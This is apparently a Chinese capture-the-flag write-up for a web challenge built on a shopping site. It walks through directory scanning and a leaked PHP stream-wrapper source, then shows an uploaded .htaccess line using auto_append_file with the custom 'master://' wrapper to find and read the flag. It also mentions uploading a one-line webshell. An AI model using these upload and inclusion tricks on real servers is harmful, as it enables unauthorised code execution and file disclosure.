image.png
    题目是一个购物网站,个人中心中有个上传点,但是点击后提示image.png
    其他地方也就是普普通通的购物流程,看起来应该就是上传漏洞。
    试了下上传一句话,发现居然上传成功了,但是不知道上传到哪里去了,使用dirsearch扫描下,看到了uploads目录,顺带还有robots.txt、config.txt、sql.txt

    1. [10:46:46] 500 - 0B - /config.php
    2. [10:46:46] 200 - 2KB - /config.txt
    3. [10:46:49] 200 - 8KB - /index
    4. [10:46:49] 200 - 1KB - /index.html
    5. [10:46:49] 200 - 0B - /index.php
    6. [10:46:49] 200 - 0B - /index.php/login/
    7. [10:46:49] 200 - 1KB - /info.php
    8. [10:46:49] 200 - 499B - /info.html
    9. [10:46:50] 200 - 3KB - /login
    10. [10:46:50] 200 - 1KB - /login.html
    11. [10:46:50] 200 - 3KB - /login.php
    12. [10:46:50] 200 - 0B - /logout
    13. [10:46:50] 200 - 0B - /logout.php
    14. [10:46:54] 200 - 4KB - /register.php
    15. [10:46:54] 200 - 4KB - /register
    16. [10:46:54] 200 - 2KB - /register.html
    17. [10:46:54] 200 - 987B - /reset.html
    18. [10:46:54] 200 - 21B - /robots.txt
    19. [10:46:54] 200 - 13B - /search.php
    20. [10:46:54] 403 - 306B - /server-status
    21. [10:46:54] 403 - 307B - /server-status/
    22. [10:46:54] 200 - 8KB - /shop
    23. [10:46:55] 200 - 457B - /sql.txt
    24. [10:46:55] 301 - 328B - /static -> http://111.200.241.244:59933/static/
    25. [10:46:56] 200 - 13B - /upload.php
    26. [10:46:56] 200 - 5KB - /uploads/
    27. [10:46:56] 200 - 12B - /user.php
    28. [10:46:56] 200 - 12B - /user
    29. [10:46:56] 301 - 329B - /uploads -> http://111.200.241.244:59933/uploads/
    30. [10:46:56] 200 - 284B - /user.html

    先去uploads目录看下,image.png
    在其中一个文件夹中找到了上传的一句话,但是打开后发现<,"被替换成!,想要绕过这个感觉不太现实,只能去看看刚才扫到的其他东西。
    在config.txt中看到了源码:

    1. <?php
    2. class master
    3. {
    4. private $path;
    5. private $name;
    6. function __construct()
    7. {
    8. }
    9. function stream_open($path)
    10. {
    11. if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
    12. return 1;
    13. $a=$array[1];
    14. parse_str($array[2],$array);
    15. if(isset($array['path']))
    16. {
    17. $this->path=$array['path'];
    18. }
    19. else
    20. return 1;
    21. if(isset($array['name']))
    22. {
    23. $this->name=$array['name'];
    24. }
    25. else
    26. return 1;
    27. if($a==='upload')
    28. {
    29. return $this->upload($this->path,$this->name);
    30. }
    31. elseif($a==='search')
    32. {
    33. return $this->search($this->path,$this->name);
    34. }
    35. else
    36. return 1;
    37. }
    38. function upload($path,$name)
    39. {
    40. if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
    41. return 1;
    42. $filename=$_FILES[$name]['name'];
    43. echo $filename;
    44. $file=file_get_contents($_FILES[$name]['tmp_name']);
    45. $file=str_replace('<','!',$file);
    46. $file=str_replace(urldecode('%03'),'!',$file);
    47. $file=str_replace('"','!',$file);
    48. $file=str_replace("'",'!',$file);
    49. $file=str_replace('.','!',$file);
    50. if(preg_match('/file:|http|pre|etc/is',$file))
    51. {
    52. echo 'illegalbbbbbb!';
    53. return 1;
    54. }
    55. file_put_contents($path.$filename,$file);
    56. file_put_contents($path.'user.jpg',$file);
    57. echo 'upload success!';
    58. return 1;
    59. }
    60. function search($path,$name)
    61. {
    62. if(!is_dir($path))
    63. {
    64. echo 'illegal!';
    65. return 1;
    66. }
    67. $files=scandir($path);
    68. echo '</br>';
    69. foreach($files as $k=>$v)
    70. {
    71. if(str_ireplace($name,'',$v)!==$v)
    72. {
    73. echo $v.'</br>';
    74. }
    75. }
    76. return 1;
    77. }
    78. function stream_eof()
    79. {
    80. return true;
    81. }
    82. function stream_read()
    83. {
    84. return '';
    85. }
    86. function stream_stat()
    87. {
    88. return '';
    89. }
    90. }
    91. stream_wrapper_unregister('php');
    92. stream_wrapper_unregister('phar');
    93. stream_wrapper_unregister('zip');
    94. stream_wrapper_register('master','master');
    95. ?>

    这段代码意思是将php,phar,zip这三个伪协议禁用,并自己注册一个master伪协议,实现父类stream_open方法,stream_open在包装器初始化时立即调用。
    master协议有两个方法,一个是upload,可以看到里面还是有过滤,走不通,另一个是search方法,给出要搜索的路径和文件名,将搜索到的文件打印出来。

    那么我们就可以使用master协议,搜索flag,但是要使用master协议,就必须有个文件包含的地方,但是找不到,因为文件过滤,也没办法用php文件自己构造。

    最后看了大佬的writeup,才知道还有.htaccess文件可以用。
    上传.htaccess文件,内容为

    1. php_value auto_append_file master://search/path=%2fhome%2f&name=flag

    这段命令相当于自动在php文件后面加上require();,将伪协议直接包含在php文件中,自己在随便上传一个php文件,访问,就可以拿到flag的路径。
    拿到路径之后,继续使用php_value包含就可以得到内容。